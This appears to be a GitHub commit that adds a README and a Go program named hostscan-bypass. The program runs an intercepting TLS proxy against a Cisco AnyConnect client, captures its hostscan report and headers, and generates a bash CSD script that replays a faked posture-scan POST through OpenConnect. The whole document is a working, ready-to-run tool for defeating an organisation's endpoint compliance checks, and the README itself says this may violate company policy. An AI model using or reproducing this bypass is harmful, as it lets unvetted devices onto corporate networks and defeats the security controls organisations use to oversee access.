-
Notifications
You must be signed in to change notification settings - Fork 46
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
325 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,21 @@ | ||
# hostscan-bypass | ||
Generate OpenConnect CSD files to bypass Cisco AnyConnect hostscan requirements | ||
Generate an OpenConnect [Cisco Secure Desktop](http:https://www.infradead.org/openconnect/csd.html)(CSD) file that bypasses AnyConnect hostscan requirements. | ||
|
||
This script parses an AnyConnect client connection and outputs a CSD file that can be used with OpenConnect. The CSD file will perform a POST request to the AnyConnect server, giving the illusion a hostscan took place. Even if the AnyConnect server does not publish binaries for your Operating System (OS), you will still be able to connect. This is due to the fact that OpenConnect allows you to specify which OS you are connecting from. This means you can be on a Linux and pretend to be a Windows client! | ||
|
||
WARNING: Doing this will bypass the checks hostscan performs. This may be against your companies policy. By using this script and the resulting CSD file, you are releasing me of any liability. This script is for educational purposes only. | ||
|
||
|
||
# Quick Start | ||
*Note: You will need to install go. That process won't be covered here. | ||
|
||
1. `sudo go run hostscan-bypass.go -l <YOUR IP> -p 443 -r <TARGET VPN URL>:443 -s` | ||
2. Use AnyConnect and connect to `<YOUR IP>` | ||
3. Wait. You do not need to enter in any credentials for hostscan to start. By default, the CSD file will be named `hostscan-bypass.sh`. | ||
4. Make the CSD file executable (otherwise OpenConnect can't use it): `chmod +x hostscan-bypass.sh` | ||
5. Finally, connect: `sudo openconnect --csd-wrapper=hostscan-bypass.sh <VPN URL> --os=win` | ||
|
||
# Shout Outs | ||
1. `hostscan-bypass.go` was hacked off of [tcpprox](https://github.com/staaldraad/tcpprox). Thanks @staaldraad! | ||
2. Fromzy, who happened to posted the most [simple CSD](http:https://lists.infradead.org/pipermail/openconnect-devel/2015-January/002544.html) example | ||
3. @bmaddy, who [posted examples](https://gist.github.com/bmaddy/dc720f494fa4de28ffc03cc6a472e965) and resources that aided in the completion of this project |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,305 @@ | ||
package main | ||
|
||
import ( | ||
"crypto/rand" | ||
"crypto/rsa" | ||
"crypto/tls" | ||
"crypto/x509" | ||
"crypto/x509/pkix" | ||
"encoding/hex" | ||
"encoding/json" | ||
"flag" | ||
"fmt" | ||
"io" | ||
"io/ioutil" | ||
"math/big" | ||
"net" | ||
"os" | ||
"time" | ||
"log" | ||
"strings" | ||
) | ||
|
||
type TLS struct { | ||
Country []string "GB" | ||
Org []string "hostscan" | ||
CommonName string "*.domain.com" | ||
} | ||
|
||
type Config struct { | ||
Remotehost string | ||
Localhost string | ||
Localport int | ||
TLS *TLS | ||
CertFile string "" | ||
OutputFile string | ||
} | ||
|
||
type Hostscan struct { | ||
UserAgent string | ||
Plat string | ||
Endpoint string | ||
} | ||
|
||
var CSD_Script = `#!/bin/bash | ||
# Generated by hostscan-bypass.go | ||
# https://github.com/Gilks/hostscan-bypass | ||
# | ||
# You can find a list of hostscan requirements here: | ||
# https://<VPN Page>/CACHE/sdesktop/data.xml | ||
function run_curl | ||
{ | ||
curl \ | ||
--insecure \ | ||
--user-agent "$useragent" \ | ||
--header "X-Transcend-Version: 1" \ | ||
--header "X-Aggregate-Auth: 1" \ | ||
--header "X-AnyConnect-Platform: $plat" \ | ||
--cookie "sdesktop=$token" \ | ||
"$@" | ||
} | ||
set -e | ||
host=https://$CSD_HOSTNAME | ||
plat="<PLAT>" | ||
useragent="<USERAGENT>" | ||
token=$CSD_TOKEN | ||
run_curl --data-ascii @- "$host/+CSCOE+/sdesktop/scan.xml?reusebrowser=1" <<-END | ||
<ENDPOINT> | ||
END | ||
exit 0 | ||
` | ||
|
||
var config Config | ||
var ids = 0 | ||
|
||
func genCert() ([]byte, *rsa.PrivateKey) { | ||
ca := &x509.Certificate{ | ||
SerialNumber: big.NewInt(1653), | ||
Subject: pkix.Name{ | ||
Country: config.TLS.Country, | ||
Organization: config.TLS.Org, | ||
CommonName: config.TLS.CommonName, | ||
}, | ||
NotBefore: time.Now(), | ||
NotAfter: time.Now().AddDate(10, 0, 0), | ||
SubjectKeyId: []byte{1, 2, 3, 4, 5}, | ||
BasicConstraintsValid: true, | ||
IsCA: true, | ||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, | ||
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, | ||
} | ||
|
||
priv, _ := rsa.GenerateKey(rand.Reader, 1024) | ||
pub := &priv.PublicKey | ||
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) | ||
if err != nil { | ||
fmt.Println("create ca failed", err) | ||
} | ||
return ca_b, priv | ||
} | ||
|
||
func handleServerMessage(connR, connC net.Conn, id int) { | ||
for { | ||
data := make([]byte, 2048) | ||
n, err := connR.Read(data) | ||
if n > 0 { | ||
connC.Write(data[:n]) | ||
//fmt.Printf("From Server [%d]:\n%s\n", id, hex.Dump(data[:n])) | ||
//fmt.Printf("From Server:\n%s\n",hex.EncodeToString(data[:n])) | ||
} | ||
if err != nil && err != io.EOF { | ||
fmt.Println(err) | ||
break | ||
} | ||
} | ||
} | ||
|
||
func handleConnection(conn net.Conn, isTLS bool, hostscan Hostscan) { | ||
var err error | ||
var connR net.Conn | ||
|
||
if isTLS == true { | ||
conf := tls.Config{InsecureSkipVerify: true} | ||
connR, err = tls.Dial("tcp", config.Remotehost, &conf) | ||
} else { | ||
connR, err = net.Dial("tcp", config.Remotehost) | ||
} | ||
|
||
if err != nil { | ||
return | ||
} | ||
|
||
fmt.Printf("[*][%d] Connected to server: %s\n", ids, connR.RemoteAddr()) | ||
id := ids | ||
ids++ | ||
go handleServerMessage(connR, conn, id) | ||
for { | ||
data := make([]byte, 2048) | ||
n, err := conn.Read(data) | ||
if n > 0 { | ||
fmt.Printf("From Client [%d]:\n%s\n", id, hex.Dump(data[:n])) | ||
//fmt.Printf("From Client:\n%s\n",hex.EncodeToString(data[:n])) | ||
|
||
var StrResp = hex.EncodeToString(data[:n]) | ||
decoded, err := hex.DecodeString(StrResp) | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
|
||
//fmt.Printf("%s\n", decoded) | ||
var ClientReq = string(decoded) | ||
if strings.Contains(ClientReq, "endpoint") { | ||
hostscan.Endpoint += ClientReq | ||
} | ||
|
||
if strings.Contains(ClientReq, "User-Agent:") && strings.Contains(ClientReq, "X-AnyConnect-Platform:") { | ||
//fmt.Print(ClientReq) | ||
headers := strings.Split(ClientReq, "\r\n") | ||
|
||
for i := range headers { | ||
if strings.Contains(headers[i], "User-Agent:") { | ||
hostscan.UserAgent = strings.Split(headers[i],": ")[1] | ||
CSD_Script = strings.Replace(CSD_Script, "<USERAGENT>", hostscan.UserAgent, 1) | ||
} | ||
if strings.Contains(headers[i], "X-AnyConnect-Platform:") { | ||
hostscan.Plat = strings.Split(headers[i],": ")[1] | ||
CSD_Script = strings.Replace(CSD_Script, "<PLAT>", hostscan.Plat, 1) | ||
} | ||
} | ||
} | ||
connR.Write(data[:n]) | ||
_ = hex.Dump(data[:n]) | ||
} | ||
if err != nil && err == io.EOF { | ||
if hostscan.Endpoint != "" { | ||
CSD_Script = strings.Replace(CSD_Script, "<ENDPOINT>", hostscan.Endpoint, 1) | ||
script, err := os.Create(config.OutputFile) | ||
if err != nil { | ||
panic(err) | ||
} | ||
fmt.Fprintf(script, CSD_Script) | ||
script.Close() | ||
fmt.Print("\n[+] Successfully created CSD to bypass hostscan!\n") | ||
fmt.Printf("[+] Output File: %s\n", config.OutputFile) | ||
os.Exit(0) | ||
} | ||
fmt.Println(err) | ||
break | ||
} | ||
} | ||
connR.Close() | ||
conn.Close() | ||
} | ||
|
||
func startListener(isTLS bool) { | ||
|
||
var err error | ||
var conn net.Listener | ||
var cert tls.Certificate | ||
var hostscan = Hostscan{} | ||
|
||
if isTLS == true { | ||
if config.CertFile != "" { | ||
cert, _ = tls.LoadX509KeyPair(fmt.Sprint(config.CertFile, ".pem"), fmt.Sprint(config.CertFile, ".key")) | ||
} else { | ||
ca_b, priv := genCert() | ||
cert = tls.Certificate{ | ||
Certificate: [][]byte{ca_b}, | ||
PrivateKey: priv, | ||
} | ||
} | ||
|
||
conf := tls.Config{ | ||
Certificates: []tls.Certificate{cert}, | ||
} | ||
conf.Rand = rand.Reader | ||
|
||
conn, err = tls.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport), &conf) | ||
|
||
} else { | ||
conn, err = net.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport)) | ||
} | ||
|
||
if err != nil { | ||
panic("failed to connect: " + err.Error()) | ||
} | ||
|
||
fmt.Println("[*] Listening for AnyConnect client connection..") | ||
|
||
for { | ||
cl, err := conn.Accept() | ||
if err != nil { | ||
fmt.Printf("server: accept: %s", err) | ||
break | ||
} | ||
fmt.Printf("[*] Accepted from: %s\n", cl.RemoteAddr()) | ||
go handleConnection(cl, isTLS, hostscan) | ||
} | ||
conn.Close() | ||
} | ||
|
||
func setConfig(configFile string, localPort int, localHost, remoteHost string, certFile string, outputFile string) { | ||
if configFile != "" { | ||
data, err := ioutil.ReadFile(configFile) | ||
if err != nil { | ||
fmt.Println("[-] Not a valid config file: ", err) | ||
os.Exit(1) | ||
} | ||
err = json.Unmarshal(data, &config) | ||
if err != nil { | ||
fmt.Println("[-] Not a valid config file: ", err) | ||
os.Exit(1) | ||
} | ||
} else { | ||
config = Config{TLS: &TLS{}} | ||
} | ||
|
||
if certFile != "" { | ||
config.CertFile = certFile | ||
} | ||
|
||
if localPort != 0 { | ||
config.Localport = localPort | ||
} | ||
if localHost != "" { | ||
config.Localhost = localHost | ||
} | ||
if remoteHost != "" { | ||
config.Remotehost = remoteHost | ||
} | ||
if outputFile == "" { | ||
config.OutputFile = "hostscan-bypass.sh" | ||
} else if strings.HasSuffix(outputFile, ".sh") { | ||
config.OutputFile = outputFile | ||
} else { | ||
config.OutputFile = outputFile + ".sh" | ||
} | ||
|
||
} | ||
|
||
func main() { | ||
localPort := flag.Int("p", 0, "Local Port to listen on") | ||
localHost := flag.String("l", "", "Local address to listen on") | ||
remoteHostPtr := flag.String("r", "", "Remote Server address host:port") | ||
configPtr := flag.String("c", "", "Use a config file (set TLS ect) - Commandline params overwrite config file") | ||
tlsPtr := flag.Bool("s", false, "Create a TLS Proxy") | ||
certFilePtr := flag.String("cert", "", "Use a specific certificate file") | ||
outputFile := flag.String("o", "", "Output name for CSD hostscan bypass") | ||
|
||
flag.Parse() | ||
|
||
setConfig(*configPtr, *localPort, *localHost, *remoteHostPtr, *certFilePtr, *outputFile) | ||
|
||
if config.Remotehost == "" { | ||
fmt.Println("[-] Remote host required") | ||
flag.PrintDefaults() | ||
os.Exit(1) | ||
} | ||
|
||
startListener(*tlsPtr) | ||
} |